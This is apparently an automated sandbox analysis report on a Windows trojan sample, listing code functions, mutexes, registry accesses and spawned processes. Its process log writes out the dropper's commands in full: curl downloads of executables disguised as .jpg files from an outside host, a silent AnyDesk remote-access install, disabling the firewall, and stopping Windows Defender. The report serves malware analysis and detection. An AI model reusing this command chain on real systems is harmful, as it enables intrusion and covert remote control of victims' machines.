Source: C:\Intel\driver.exe	Code function: 58_2_00422A40	58_2_00422A40
Source: C:\Intel\driver.exe	Code function: 58_2_0042C260	58_2_0042C260
Source: C:\Intel\driver.exe	Code function: 58_2_00432277	58_2_00432277
Source: C:\Intel\driver.exe	Code function: 58_2_0040DA30	58_2_0040DA30
Source: C:\Intel\driver.exe	Code function: 58_2_004232C7	58_2_004232C7
Source: C:\Intel\driver.exe	Code function: 58_2_0041A280	58_2_0041A280
Source: C:\Intel\driver.exe	Code function: 58_2_00420358	58_2_00420358
Source: C:\Intel\driver.exe	Code function: 58_2_0041DB74	58_2_0041DB74
Source: C:\Intel\driver.exe	Code function: 58_2_0040930C	58_2_0040930C
Source: C:\Intel\driver.exe	Code function: 58_2_00433310	58_2_00433310
Source: C:\Intel\driver.exe	Code function: 58_2_0043731C	58_2_0043731C
Source: C:\Intel\driver.exe	Code function: 58_2_0043632C	58_2_0043632C
Source: C:\Intel\driver.exe	Code function: 58_2_0040CB3C	58_2_0040CB3C
Source: C:\Intel\driver.exe	Code function: 58_2_004173F5	58_2_004173F5
Source: C:\Intel\driver.exe	Code function: 58_2_004343FC	58_2_004343FC
Source: C:\Intel\driver.exe	Code function: 58_2_00434B84	58_2_00434B84
Source: C:\Intel\driver.exe	Code function: 58_2_004393A4	58_2_004393A4
Source: C:\Intel\driver.exe	Code function: 58_2_00427C40	58_2_00427C40
Source: C:\Intel\driver.exe	Code function: 58_2_0040B414	58_2_0040B414
Source: C:\Intel\driver.exe	Code function: 58_2_00433310	58_2_00433310
Source: C:\Intel\driver.exe	Code function: 58_2_00417CD4	58_2_00417CD4
Source: C:\Intel\driver.exe	Code function: 58_2_0040CD40	58_2_0040CD40
Source: C:\Intel\driver.exe	Code function: 58_2_00437D50	58_2_00437D50
Source: C:\Intel\driver.exe	Code function: 58_2_0040E564	58_2_0040E564
Source: C:\Intel\driver.exe	Code function: 58_2_00428564	58_2_00428564
Source: C:\Intel\driver.exe	Code function: 58_2_004215E0	58_2_004215E0
Source: C:\Intel\driver.exe	Code function: 58_2_00437D50	58_2_00437D50
Source: C:\Intel\driver.exe	Code function: 58_2_00413E64	58_2_00413E64
Source: C:\Intel\driver.exe	Code function: 58_2_0043D60C	58_2_0043D60C
Source: C:\Intel\driver.exe	Code function: 58_2_00425634	58_2_00425634
Source: C:\Intel\driver.exe	Code function: 58_2_004096C0	58_2_004096C0
Source: C:\Intel\driver.exe	Code function: 58_2_00436ED0	58_2_00436ED0
Source: C:\Intel\driver.exe	Code function: 58_2_00428E80	58_2_00428E80
Source: C:\Intel\driver.exe	Code function: 58_2_00413690	58_2_00413690
Source: C:\Intel\driver.exe	Code function: 58_2_00429E9E	58_2_00429E9E
Source: C:\Intel\driver.exe	Code function: 58_2_0042EEA0	58_2_0042EEA0
Source: C:\Intel\driver.exe	Code function: 58_2_00411F4C	58_2_00411F4C
Source: C:\Intel\driver.exe	Code function: 58_2_00422F77	58_2_00422F77
Source: C:\Intel\driver.exe	Code function: 58_2_00437778	58_2_00437778
Source: C:\Intel\driver.exe	Code function: 58_2_00432F3E	58_2_00432F3E
Source: C:\Intel\driver.exe	Code function: 58_2_004387F8	58_2_004387F8
Source: C:\Intel\driver.exe	Code function: 58_2_0040D784	58_2_0040D784
Source: C:\Intel\driver.exe	Code function: 58_2_0041A78C	58_2_0041A78C
Source: C:\Intel\driver.exe	Code function: 58_2_0040DFAC	58_2_0040DFAC
Source: C:\Intel\driver.exe	Code function: 58_2_00405368	58_2_00405368
Source: C:\Intel\svchost.exe	Code function: 60_3_03E13ABB	60_3_03E13ABB
Source: C:\Intel\Trays\4t-min64.exe	Code function: 61_2_0040A47F	61_2_0040A47F

Source: C:\Intel\curl.exe	Code function: String function: 0098AD70 appears 71 times
Source: C:\Intel\curl.exe	Code function: String function: 00933960 appears 387 times
Source: C:\Intel\curl.exe	Code function: String function: 00933850 appears 233 times
Source: C:\Intel\curl.exe	Code function: String function: 00A27EC0 appears 52 times
Source: C:\Intel\curl.exe	Code function: String function: 0092E200 appears 51 times
Source: C:\Intel\curl.exe	Code function: String function: 0092F7A0 appears 33 times
Source: C:\Intel\curl.exe	Code function: String function: 00997DF0 appears 57 times
Source: C:\Intel\curl.exe	Code function: String function: 00973250 appears 42 times
Source: C:\Intel\curl.exe	Code function: String function: 0096C4D0 appears 41 times
Source: C:\Intel\curl.exe	Code function: String function: 009343D0 appears 32 times
Source: C:\Intel\curl.exe	Code function: String function: 00972B50 appears 281 times
Source: C:\Intel\curl.exe	Code function: String function: 0092F6A0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 0092F8E0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 009A9F20 appears 47 times
Source: C:\Intel\curl.exe	Code function: String function: 00982C70 appears 119 times
Source: C:\Intel\curl.exe	Code function: String function: 00972230 appears 34 times
Source: C:\Intel\curl.exe	Code function: String function: 00921A10 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 00936930 appears 43 times
Source: C:\Intel\svchost.exe	Code function: String function: 021D3CC8 appears 36 times

Source: unins000.exe.58.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: unins000.exe.58.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: svchost.exe.54.dr	Static PE information: No import functions for PE file found
Source: AnyDesk.exe.60.dr	Static PE information: No import functions for PE file found

Source: eqRHH2whJu.exe, 00000000.00000002.1343512719.0000000000603000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCmd.Exej% vs eqRHH2whJu.exe

Source: eqRHH2whJu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@134/127@6/5

Source: 131.pdf.0.dr

Initial sample: http://www.pdf-tools.com\

Source: C:\Intel\curl.exe

Code function: 52_2_009323B0 GetLastError,_strncpy,FormatMessageA,_strrchr,_strrchr,GetLastError,SetLastError,

52_2_009323B0

Source: C:\Intel\driver.exe	Code function: 58_2_0042FB20 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		58_2_0042FB20
Source: C:\Intel\driver.exe	Code function: 58_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,		58_2_0040C734

Source: C:\Intel\driver.exe

Code function: 58_2_004042E8 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

58_2_004042E8

Source: C:\Intel\Trays\4t-min64.exe

Code function: 61_2_004205E0 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

61_2_004205E0

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_00407C5E FreeResource,

59_2_00407C5E

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3396

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1836:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_3
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_4
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_5
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_6
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_7
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_3
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_4
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_8014_gsystem_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_5
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_6
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_7
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_4376_724895558_1_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_21
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_20
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_5084_598759997_0_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_connect_queue_8320_647537648_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_4376_724895558_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3312_6196_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8252:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipc_ipc_svc_buf_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcstobjmtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_5084_598759997_1_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_14
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_13
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_1464_8652_12
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcstobjmtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_5084_1260_0
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_8014_lsystem_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_5084_8684_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3312_677546386_0_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_25
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_27
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3312_6720_0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3312_677546386_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_24
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2860_681131709_1_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_9196_581031529_0_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Session\1\ad_connect_queue_1464_597128884_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_9196_581031529_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2860_681131709_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Intel\Trays\Trays.exe	Mutant created: \Sessions\1\BaseNamedObjects\TrayMinimizer
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7232:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_14
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_15
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_8320_8316_16
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:120:WilError_03

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File created: C:\Users\user~1\AppData\Local\Temp\$inst

Jump to behavior

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg

Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\dc.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: eqRHH2whJu.exe

ReversingLabs: Detection: 55%

Source: eqRHH2whJu.exe	String found in binary or memory: /c echo>>@$&%17\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: svchost.exe	String found in binary or memory: --install
Source: svchost.exe	String found in binary or memory: --new-install
Source: svchost.exe	String found in binary or memory: AnyDesk-Address:
Source: svchost.exe	String found in binary or memory: ad.connect.share.myid=AnyDesk-Address:

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

File read: C:\Users\user\Desktop\eqRHH2whJu.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eqRHH2whJu.exe "C:\Users\user\Desktop\eqRHH2whJu.exe"
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Intel\ 131.pdf"
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1736,i,7992334855485178110,2343866547744839284,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --service
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
